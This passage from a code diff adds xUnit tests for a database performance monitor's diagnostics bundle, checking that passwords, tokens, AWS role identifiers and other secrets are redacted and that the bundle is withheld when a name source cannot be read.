+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>#5366: sealed text is a secret in the diagnostics bundle, and the bundle names the password key and the
+/// service's key state without carrying any key material. Values here are synthetic.</summary>
+public sealed class DiagnosticsBundleSealedTextTests
+{
+    private const string SealedText = "sealed:v1:abcdef0123456789:QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo=";
+
+    [Fact]
+    public void SealedText_IsASecretValue()
+    {
+        Assert.True(SecretTextGuard.ValueLooksSecret(SealedText));
+        Assert.True(SecretTextGuard.ValueLooksSecret("sealed:v9:anything:else"));
+    }
+
+    [Fact]
+    public void SealedText_InsideALogLine_IsRedacted()
+    {
+        var a = new BundleAliaser();
+
+        var text = a.Alias("route 3 value " + SealedText + " could not be read");
+
+        Assert.DoesNotContain("QUJDREVGR0hJ", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("abcdef0123456789", text, StringComparison.Ordinal);
+        Assert.Contains("[redacted]", text, StringComparison.Ordinal);
+        Assert.Contains("could not be read", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void SealedText_InAWebhookColumnOrAConfigValue_IsNotExported()
+    {
+        var config = new DarlingConfig();
+        config.Webhooks.TeamsUrl = SealedText;
+        config.Webhooks.GenericHeaders = SealedText;
+        config.Webhooks.PagerDutyRoutingKey = SealedText;
+        var a = new BundleAliaser();
+
+        DiagnosticsBundle.SeedFromConfig(a, config, null);
+        var text = a.Alias("failed " + SealedText + " end");
+
+        Assert.DoesNotContain("QUJDREVGR0hJ", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("sealed:v1", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void PasswordKeyInfo_NamesTheKeyAndTheState_AndNoKeyMaterialOrHost()
+    {
+        var spki = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
+        var published = new PublishedPasswordKey("abcdef0123456789abcdef0123456789", spki, "RSA-OAEP-SHA256");
+        var state = new PasswordKeyServiceState(
+            "service-host-example", "abcdef0123456789abcdef0123456789", "ok", "a note that must not be exported",
+            new DateTime(2026, 10, 6, 12, 30, 5, DateTimeKind.Utc));
+
+        var text = DiagnosticsBundle.BuildPasswordKeyInfo(published, state).ToJsonString();
+
+        Assert.Contains(PasswordSeal.DisplayKeyId(published.KeyId), text, StringComparison.Ordinal);
+        Assert.Contains("\"service_state\":\"ok\"", text, StringComparison.Ordinal);
+        Assert.Contains("2026-10-06T12:30:05Z", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("service-host-example", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("a note that must not", text, StringComparison.Ordinal);
+        Assert.DoesNotContain(Convert.ToBase64String(spki), text, StringComparison.Ordinal);
+        Assert.DoesNotContain("RSA", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void PasswordKeyInfo_WithNoKeyAndNoService_SaysSo()
+    {
+        var text = DiagnosticsBundle.BuildPasswordKeyInfo(null, null).ToJsonString();
+
+        Assert.Contains("\"status\":\"not_published\"", text, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleSecretTests.cs b/Darling/Darling.Tests/DiagnosticsBundleSecretTests.cs
new file mode 100644
index 0000000000..27bdb7876c
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleSecretTests.cs
@@ -0,0 +1,217 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json.Nodes;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>#5097: secrets never reach a bundle. Passwords here are synthetic.</summary>
+public sealed class DiagnosticsBundleSecretTests
+{
+    [Fact]
+    public void ConnectionStringInALogLine_HasAnAliasedHost_AndARedactedPassword()
+    {
+        var a = new BundleAliaser();
+        a.AddName(AliasKind.Host, "zeta-07.example.test");
+        var text = a.Alias("connect failed Server=zeta-07.example.test;Database=x;User ID=u;Password=hunter2;Timeout=5");
+        Assert.DoesNotContain("hunter2", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("zeta", text, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("Password=[redacted]", text, StringComparison.Ordinal);
+        Assert.Contains("Timeout=5", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void UrlCredential_IsRedacted()
+    {
+        var text = new BundleAliaser().Alias("dsn postgres://appuser:s3cr3tvalue@db.example.test/main ok");
+        Assert.DoesNotContain("s3cr3tvalue", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("appuser", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void BearerAndTokenAssignments_AreRedacted()
+    {
+        var text = new BundleAliaser().Alias("Authorization: Bearer abc123def456 and token=zz99yy88 sent");
+        Assert.DoesNotContain("abc123def456", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("zz99yy88", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void SecretKeyAtAnyDepth_HasItsValueRedacted()
+    {
+        var tree = (JsonObject)new BundleAliaser().AliasTree(JsonNode.Parse("""{"a":{"b":[{"api_key":"k-1234567","note":"fine"}]}}"""))!;
+        var item = tree["a"]!["b"]![0]!;
+        Assert.Equal("[redacted]", item["api_key"]!.GetValue<string>());
+        Assert.Equal("fine", item["note"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public void KnownSecretValue_IsRemovedFromAnyText_AndTheVerifierBlocksOne_ThatSurvives()
+    {
+        var a = new BundleAliaser();
+        a.AddSecret("Sup3rS3cret!");
+        Assert.DoesNotContain("Sup3rS3cret!", a.Alias("the value Sup3rS3cret! leaked"), StringComparison.Ordinal);
+
+        /* A secret written into the tree after aliasing (a stand-in for a path the pass missed) is a leak: no text. */
+        var root = new JsonObject { ["sections"] = new JsonObject { ["x"] = new JsonObject { ["msg"] = "Sup3rS3cret!" } } };
+        var (leaks, text) = a.Finish(root, DiagnosticsBundle.WriteOptions);
+        Assert.Null(text);
+        var leak = Assert.Single(leaks);
+        Assert.Equal("secret", leak.Class);
+        Assert.Equal("x", leak.Section);
+        Assert.Equal("msg", leak.Field);
+    }
+
+    [Fact]
+    public void SecretTextGuard_IsTheOnePolicy_ForSlowReadsAndTheBundle()
+    {
+        Assert.True(SecretTextGuard.IsSecretKey("Api_Key"));
+        Assert.False(SecretTextGuard.IsSecretKey("dedup_key"));
+        Assert.True(SecretTextGuard.ValueLooksSecret("password=abc"));
+        Assert.True(SecretTextGuard.ValueLooksSecret("see https://u:p@host/"));
+        Assert.False(SecretTextGuard.ValueLooksSecret("select 1"));
+        Assert.Equal(SlowReadLog.IsSecretKey("webhook_url"), SecretTextGuard.IsSecretKey("webhook_url"));
+    }
+
+    [Fact]
+    public void ConfigShape_EveryConfigPropertyIsProjectedOrExplicitlyExcluded()
+    {
+        var known = DiagnosticsBundle.ConfigShapeProjected.Concat(DiagnosticsBundle.ConfigShapeExcluded).ToHashSet(StringComparer.Ordinal);
+        var unclassified = new[] { typeof(DarlingConfig), typeof(PostgresConfig), typeof(McpConfig), typeof(WebConfig), typeof(MonitoredServer) }
+            .SelectMany(t => t.GetProperties(BindingFlags.Public | BindingFlags.Instance)
+                .Where(p => p.CanWrite && p.GetCustomAttribute<System.Text.Json.Serialization.JsonIgnoreAttribute>() is null)
+                .Select(p => t.Name + "." + p.Name))
+            .Where(n => !known.Contains(n))
+            .ToList();
+        Assert.True(unclassified.Count == 0, "Classify these in DiagnosticsBundle.ConfigShapeProjected (a scalar that identifies nothing, such as a flag or a number) or ConfigShapeExcluded (anything that holds a name, host, path, URL or secret, with a reason): " + string.Join(", ", unclassified));
+    }
+
+    [Theory]
+    [InlineData(null, "off")]
+    [InlineData("off", "off")]
+    [InlineData("shadow", "shadow")]
+    [InlineData(" ON ", "on")]
+    [InlineData("secret-host.example.test", "off")]
+    public void ConfigShape_ProjectsTheProcedureStatsPlanFetchAsItsParsedMode(string? raw, string expected)
+    {
+        var shape = DiagnosticsBundle.BuildConfigShape(new DarlingConfig { ProcedureStatsDeferredPlanFetch = raw! });
+        Assert.Equal(expected, shape["procedure_stats_deferred_plan_fetch"]!.GetValue<string>());
+        Assert.DoesNotContain("secret-host", shape.ToJsonString());
+    }
+
+    [Fact]
+    public void ConfigShape_ProjectsTheDeferredPlanFetchFlag()
+    {
+        Assert.True(DiagnosticsBundle.BuildConfigShape(new DarlingConfig())["query_stats_deferred_plan_fetch"]!.GetValue<bool>());
+        Assert.False(DiagnosticsBundle.BuildConfigShape(new DarlingConfig { QueryStatsDeferredPlanFetch = false })["query_stats_deferred_plan_fetch"]!.GetValue<bool>());
+    }
+
+    [Fact]
+    public void ConfigShape_CarriesNoStringFromTheConfig()
+    {
+        var config = new DarlingConfig
+        {
+            Postgres = new PostgresConfig { ConnectionString = "Host=alpha-pg.example.test;Password=hunter2" },
+            Servers = { new MonitoredServer { Name = "beta-01", Host = "beta-01.example.test", Username = "betaowner", Password = "pw-1234" } },
+        };
+        var text = DiagnosticsBundle.BuildConfigShape(config).ToJsonString();
+        foreach (var forbidden in new[] { "alpha-pg", "hunter2", "beta-01", "betaowner", "pw-1234", "example.test" })
+        {
+            Assert.DoesNotContain(forbidden, text, StringComparison.OrdinalIgnoreCase);
+        }
+    }
+
+    [Fact]
+    public void SeedFromConfig_AddsTheStorePasswordAsASecret()
+    {
+        var a = new BundleAliaser();
+        DiagnosticsBundle.SeedFromConnectionString(a, "Host=alpha-pg.example.test,gamma-pg;Database=deltadb;Username=betaowner;Password=Qx7!longpass");
+        var text = a.Alias("x Qx7!longpass alpha-pg.example.test gamma-pg deltadb betaowner");
+        foreach (var forbidden in new[] { "Qx7!longpass", "alpha-pg", "gamma-pg", "deltadb", "betaowner" })
+        {
+            Assert.DoesNotContain(forbidden, text, StringComparison.OrdinalIgnoreCase);
+        }
+    }
+
+    private const string RoleArn = "arn:aws:iam::123456789012:role/darling-monitor";
+    private const string ExternalId = "ext-7Hq2mZ9vLx";
+
+    /* #5452: the text a collection_log row or a log line may carry about a server's AWS role. */
+    private static string RoleText() =>
+        $"The AWS role {RoleArn} on this server is not in allowedAwsRoles in darling.json (account 123456789012, external id {ExternalId}).";
+
+    private static void AssertRoleRemoved(string text)
+    {
+        Assert.DoesNotContain(ExternalId, text, StringComparison.Ordinal);
+        Assert.DoesNotContain("123456789012", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("darling-monitor", text, StringComparison.Ordinal);
+        Assert.Contains("role-", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void SeedFromConfig_AServersAwsRoleIsNamedAndItsExternalIdIsASecret()
+    {
+        var a = new BundleAliaser();
+        var config = new DarlingConfig
+        {
+            Servers = { new MonitoredServer { Name = "alpha-pg-01", Engine = "postgresql", AwsRoleArn = RoleArn, AwsExternalId = ExternalId } },
+        };
+        DiagnosticsBundle.SeedFromConfig(a, config, storeConnectionString: null);
+        AssertRoleRemoved(a.Alias(RoleText()));
+    }
+
+    [Fact]
+    public void SeedFromConfig_AllowedAwsRolesEntriesAreNamed_AnArnAndAnAccountId()
+    {
+        var a = new BundleAliaser();
+        var config = new DarlingConfig { AllowedAwsRoles = { RoleArn, "210987654321" } };
+        DiagnosticsBundle.SeedFromConfig(a, config, storeConnectionString: null);
+        var text = a.Alias("allowed " + RoleArn + " and account 210987654321 and 123456789012");
+        Assert.DoesNotContain("123456789012", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("210987654321", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("darling-monitor", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void SeedAwsRole_AStoreOnlyServersRoleAndExternalIdAreRemoved_AndTheVerifierBlocksOneThatSurvives()
+    {
+        /* The store-only path: the registry read hands the same two values to the same seed. */
+        var a = new BundleAliaser();
+        DiagnosticsBundle.SeedAwsRole(a, RoleArn, ExternalId);
+        AssertRoleRemoved(a.Alias(RoleText()));
+
+        var root = new JsonObject { ["sections"] = new JsonObject { ["x"] = new JsonObject { ["msg"] = "id " + ExternalId } } };
+        var (leaks, text) = a.Finish(root, DiagnosticsBundle.WriteOptions);
+        Assert.Null(text);
+        Assert.Equal("secret", Assert.Single(leaks).Class);
+    }
+
+    [Theory]
+    [InlineData("aws_external_id")]
+    [InlineData("awsExternalId")]
+    [InlineData("ExternalId")]
+    public void ExternalIdKeys_AreSecretKeys(string key) => Assert.True(SecretTextGuard.IsSecretKey(key));
+
+    [Fact]
+    public void ConfigShape_CarriesNeitherTheRoleNorItsExternalId()
+    {
+        var config = new DarlingConfig
+        {
+            Servers = { new MonitoredServer { Name = "alpha-pg-01", Engine = "postgresql", AwsRoleArn = RoleArn, AwsExternalId = ExternalId } },
+            AllowedAwsRoles = { RoleArn },
+        };
+        var text = DiagnosticsBundle.BuildConfigShape(config).ToJsonString();
+        Assert.DoesNotContain(ExternalId, text, StringComparison.Ordinal);
+        Assert.DoesNotContain("123456789012", text, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleSeedFailureLiveTests.cs b/Darling/Darling.Tests/DiagnosticsBundleSeedFailureLiveTests.cs
new file mode 100644
index 0000000000..57770137a6
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleSeedFailureLiveTests.cs
@@ -0,0 +1,235 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each test mints its own scratch database through ScratchPostgres. */
+
+/// <summary>#5097: a name source that cannot be read while the store is up. Names are synthetic.</summary>
+public sealed class DiagnosticsBundleSeedFailureLiveTests
+{
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static string WriteConfig(string dir, string connectionString)
+    {
+        var path = Path.Combine(dir, "darling.json");
+        File.WriteAllText(path, JsonSerializer.Serialize(new
+        {
+            postgres = new { connectionString },
+            servers = new object[] { new { name = "alpha-sql-01", host = "alpha-sql-01.example.test", database = "gamma_orders", username = "betaowner" } },
+        }));
+        return path;
+    }
+
+    [Fact]
+    public async Task ServerNameSourceMissing_WhileTheStoreIsUp_ExitsFiveWithNoFile_AndNamesTheSource()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to run the live seed-failure test.");
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var root = Directory.CreateTempSubdirectory("darling-bundle-seedfail-");
+        var ok = false;
+        try
+        {
+            /* The store is up and reachable, but it was never migrated: the registry tables do not exist. */
+            var bundle = Path.Combine(root.FullName, "b.json");
+            var error = new StringWriter();
+            var exit = await DarlingCliCommands.DiagnosticsBundleAsync(
+                new[] { bundle, "--config", WriteConfig(root.FullName, scratch.ConnectionString), "--log-dir", root.FullName }, new StringWriter(), error, ct);
+
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.LeakGuard, exit);
+            Assert.False(File.Exists(bundle));
+            var text = error.ToString();
+            Assert.Contains("a name source could not be read, so the bundle cannot prove it removed every name", text, StringComparison.Ordinal);
+            Assert.Contains("config_monitored_servers", text, StringComparison.Ordinal);
+            Assert.DoesNotContain("alpha-sql-01", text, StringComparison.Ordinal);
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+            root.Delete(recursive: true);
+        }
+    }
+
+    public static TheoryData<string, string> EachNameSource() => new()
+    {
+        { "config_monitored_servers", "registry" },
+        { "config_monitored_servers (aws role)", "registryAws" },
+        { "servers", "servers" },
+        { "pg_roles", "roles" },
+        { "pg_database", "databases" },
+        { "collect.database_states", "inventory" },
+        { "collect.pg_database_stats", "pgInventory" },
+    };
+
+    [Theory]
+    [MemberData(nameof(EachNameSource))]
+    public async Task AnyNameSourceFailing_WhileTheStoreIsUp_ExitsFive_WithNoFile_AndNamesTheSource(string source, string which)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to run the live seed-failure test.");
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var root = Directory.CreateTempSubdirectory("darling-bundle-seedsrc-");
+        var ok = false;
+        try
+        {
+            await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+            }
+
+            /* The store is migrated and up; exactly one source's read is broken. */
+            const string broken = "SELECT nonexistent_column FROM pg_roles";
+            var sql = which switch
+            {
+                "registry" => new DiagnosticsBundleRunner.NameSourceSql(Registry: broken),
+                /* A missing column is tolerated for this source (a store older than 168), so it fails another way. */
+                "registryAws" => new DiagnosticsBundleRunner.NameSourceSql(RegistryAws: "SELECT 1 / 0"),
+                "servers" => new DiagnosticsBundleRunner.NameSourceSql(Servers: broken),
+                "roles" => new DiagnosticsBundleRunner.NameSourceSql(Roles: broken),
+                "databases" => new DiagnosticsBundleRunner.NameSourceSql(Databases: broken),
+                "inventory" => new DiagnosticsBundleRunner.NameSourceSql(Inventory: broken),
+                _ => new DiagnosticsBundleRunner.NameSourceSql(PgInventory: broken),
+            };
+
+            var options = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(root.FullName, "b.json"), "--log-dir", root.FullName }).Options!;
+            var config = new DarlingConfig { Servers = { new MonitoredServer { Name = "alpha-sql-01" } } };
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var outcome = await DiagnosticsBundleRunner.BuildAsync(options, config, scratch.ConnectionString, postgres, null, null, ct, sql);
+
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.LeakGuard, outcome.ExitCode);
+            Assert.Null(outcome.Text);
+            Assert.StartsWith(source + ": a name source could not be read", outcome.Message, StringComparison.Ordinal);
+            Assert.DoesNotContain("alpha-sql-01", outcome.Message, StringComparison.Ordinal);
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public async Task EveryNameSourceReadable_OnAMigratedStore_ReturnsNoFailure()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to run the live seed-failure test.");
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var ok = false;
+        try
+        {
+            await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+            }
+
+            await using var source = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var result = await DiagnosticsBundleRunner.SeedFromStoreAsync(new BundleAliaser(), source, ct);
+            Assert.Null(result.FailedNameSource);
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+        }
+    }
+    private const string StoredRole = "arn:aws:iam::123456789012:role/darling-monitor";
+    private const string StoredExternalId = "ext-7Hq2mZ9vLx";
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /* #5452: a server known only to the store registry has its role and external ID read from the store. */
+    [Fact]
+    public async Task AStoreOnlyServersAwsRole_IsAliased_AndItsExternalIdRemoved()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to run the live seed-failure test.");
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var ok = false;
+        try
+        {
+            await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+                await ExecAsync(connection,
+                    "INSERT INTO config.config_monitored_servers (server_id, name, host, database, auth, username, engine, port, aws_role_arn, aws_external_id) "
+                    + $"VALUES (9101, 'store-only-pg', 'store-only-pg.example.test', 'postgres', 'sql', 'monitor', 'postgres', 5432, '{StoredRole}', '{StoredExternalId}')", ct);
+            }
+
+            await using var source = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var aliaser = new BundleAliaser();
+            var result = await DiagnosticsBundleRunner.SeedFromStoreAsync(aliaser, source, ct);
+            Assert.Null(result.FailedNameSource);
+
+            var text = aliaser.Alias($"The AWS role {StoredRole} on this server is not in allowedAwsRoles (external id {StoredExternalId}, account 123456789012).");
+            Assert.DoesNotContain(StoredExternalId, text, StringComparison.Ordinal);
+            Assert.DoesNotContain("123456789012", text, StringComparison.Ordinal);
+            Assert.DoesNotContain("darling-monitor", text, StringComparison.Ordinal);
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+        }
+    }
+
+    /* A store older than 168 has no role columns: the bundle still builds, with nothing to alias from that read. */
+    [Fact]
+    public async Task AStoreWithoutTheAwsRoleColumns_StillSeeds()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to run the live seed-failure test.");
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var ok = false;
+        try
+        {
+            await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+                await ExecAsync(connection,
+                    "ALTER TABLE config.config_monitored_servers DROP COLUMN aws_external_id_set, DROP COLUMN aws_external_id, DROP COLUMN aws_role_arn", ct);
+            }
+
+            await using var source = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var result = await DiagnosticsBundleRunner.SeedFromStoreAsync(new BundleAliaser(), source, ct);
+            Assert.Null(result.FailedNameSource);
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleServiceLogTests.cs b/Darling/Darling.Tests/DiagnosticsBundleServiceLogTests.cs
new file mode 100644
index 0000000000..993aeb4f89
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleServiceLogTests.cs
@@ -0,0 +1,137 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.Json.Nodes;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>#5097: the service-log section, read from a temp directory.</summary>
+public sealed class DiagnosticsBundleServiceLogTests
+{
+    private static string Stamp(DateTime t) => t.ToString("yyyy-MM-dd HH:mm:ss.fff", System.Globalization.CultureInfo.InvariantCulture);
+
+    [Fact]
+    public void Parse_KeepsWarnErrorCrit_AttachesContinuations_AndDropsTheRest()
+    {
+        var t = new DateTime(2026, 1, 2, 3, 4, 5);
+        var text = string.Join("\n",
+            $"{Stamp(t)} [INFO ] [Cat.A] fine",
+            $"{Stamp(t)} [WARN ] [Cat.B] slow thing",
+            $"{Stamp(t)} [ERROR] [Cat.C] boom",
+            "    at frame one",
+            "    at frame two",
+            $"{Stamp(t)} [CRIT ] [Cat.D] dead",
+            $"{Stamp(t)} [DEBUG] [Cat.E] noise");
+        var entries = DiagnosticsBundleServiceLog.Parse(text, partial: false, t.AddHours(-1));
+        Assert.Equal(new[] { "WARN", "ERROR", "CRIT" }, entries.Select(e => e.Level).ToArray());
+        Assert.Contains("at frame two", entries[1].Message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Parse_DropsThePartialFirstLine_OfATailRead()
+    {
+        var t = new DateTime(2026, 1, 2, 3, 4, 5);
+        var text = $"{Stamp(t)} [ERROR] [Cat] cut in half\n{Stamp(t)} [ERROR] [Cat] whole";
+        Assert.Single(DiagnosticsBundleServiceLog.Parse(text, partial: true, t.AddHours(-1)));
+        Assert.Equal(2, DiagnosticsBundleServiceLog.Parse(text, partial: false, t.AddHours(-1)).Count);
+    }
+
+    [Fact]
+    public void Parse_CapsAnEntryAtTwoThousandCharacters()
+    {
+        var t = new DateTime(2026, 1, 2, 3, 4, 5);
+        var entries = DiagnosticsBundleServiceLog.Parse($"{Stamp(t)} [ERROR] [Cat] {new string('x', 9_000)}", false, t.AddHours(-1));
+        Assert.Equal(DiagnosticsBundleServiceLog.MaxEntryChars, entries[0].Message.Length);
+    }
+
+    /// <summary>
+    /// #5320: an entry is judged whole and then cut. A value sitting before the cut whose naming statement sits past it
+    /// (here past the alias-pass keep length too, and past a continuation line the old read stopped appending) is
+    /// withheld; an entry with no such statement is only cut.
+    /// </summary>
+    [Theory]
+    [InlineData(DiagnosticsBundleServiceLog.MaxEntryChars)]
+    [InlineData(DiagnosticsBundleServiceLog.AliasInputChars)]
+    public void Parse_JudgesTheWholeEntryBeforeTheCut_SoATriggerPastTheCutWithholdsAValueBeforeIt(int keep)
+    {
+        var t = new DateTime(2026, 1, 2, 3, 4, 5);
+        var padding = string.Concat(Enumerable.Repeat("word ", DiagnosticsBundleServiceLog.AliasInputChars / 5 + 100));
+        var first = $"login attempt with N'S3cret-canary-ssf' failed {padding}";
+        var log = string.Join("\n",
+            $"{Stamp(t)} [ERROR] [Cat] {first}",
+            "    " + padding,
+            "    " + StatementScrubCanary.CanaryStatement,
+            $"{Stamp(t)} [ERROR] [Cat] {first}",
+            $"{Stamp(t)} [ERROR] [Cat] an ordinary failure {padding}");
+
+        var entries = DiagnosticsBundleServiceLog.Parse(log, false, t.AddHours(-1), keep);
+
+        Assert.Equal(3, entries.Count);
+        Assert.Equal(PerformanceMonitor.Common.SensitiveStatements.PlaceholderText, entries[0].Message);
+        Assert.DoesNotContain("S3cret-canary-ssf", entries[0].Message, StringComparison.Ordinal);
+        Assert.Contains("S3cret-canary-ssf", entries[1].Message, StringComparison.Ordinal);
+        Assert.StartsWith("an ordinary failure", entries[2].Message, StringComparison.Ordinal);
+        Assert.True(entries[2].Message.Length <= keep);
+    }
+
+    [Fact]
+    public void Read_ReadsAFileAnotherHandleHoldsOpenForWrite_AndSkipsFilesOutsideTheWindow()
+    {
+        var dir = Directory.CreateTempSubdirectory("darling-bundle-log-");
+        try
+        {
+            var now = DateTime.Now;
+            var today = Path.Combine(dir.FullName, $"darling-service_{now:yyyyMMdd}.log");
+            var old = Path.Combine(dir.FullName, $"darling-service_{now.AddDays(-9):yyyyMMdd}.log");
+            File.WriteAllText(old, $"{Stamp(now.AddDays(-9))} [ERROR] [Cat] ancient\n");
+            using (var writer = new FileStream(today, FileMode.Create, FileAccess.Write, FileShare.ReadWrite))
+            {
+                var bytes = Encoding.UTF8.GetBytes($"{Stamp(now)} [ERROR] [Cat] current problem\n");
+                writer.Write(bytes);
+                writer.Flush();
+                var result = DiagnosticsBundleServiceLog.Read(dir.FullName, "--log-dir", now.AddHours(-24));
+                Assert.Equal("ok", result["status"]!.GetValue<string>());
+                Assert.Single((JsonArray)result["entries"]!);
+                Assert.Single((JsonArray)result["files"]!);
+            }
+        }
+        finally
+        {
+            dir.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public void Read_MissingDirectory_SaysNotFoundWithAReason_AndDoesNotThrow()
+    {
+        var result = DiagnosticsBundleServiceLog.Read(Path.Combine(Path.GetTempPath(), "darling-no-such-" + Guid.NewGuid().ToString("N")), "default", DateTime.Now.AddHours(-1));
+        Assert.Equal("not_found", result["status"]!.GetValue<string>());
+        Assert.False(string.IsNullOrWhiteSpace(result["reason"]!.GetValue<string>()));
+        Assert.Contains("--log-dir", result["hint"]!.GetValue<string>(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Read_DirectoryWithNoFileInTheWindow_SaysSo()
+    {
+        var dir = Directory.CreateTempSubdirectory("darling-bundle-log-empty-");
+        try
+        {
+            Assert.Equal("no_files_in_window", DiagnosticsBundleServiceLog.Read(dir.FullName, "default", DateTime.Now.AddHours(-1))["status"]!.GetValue<string>());
+        }
+        finally
+        {
+            dir.Delete(recursive: true);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleSizeTests.cs b/Darling/Darling.Tests/DiagnosticsBundleSizeTests.cs
new file mode 100644
index 0000000000..a0c63cd4c2
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleSizeTests.cs
@@ -0,0 +1,74 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
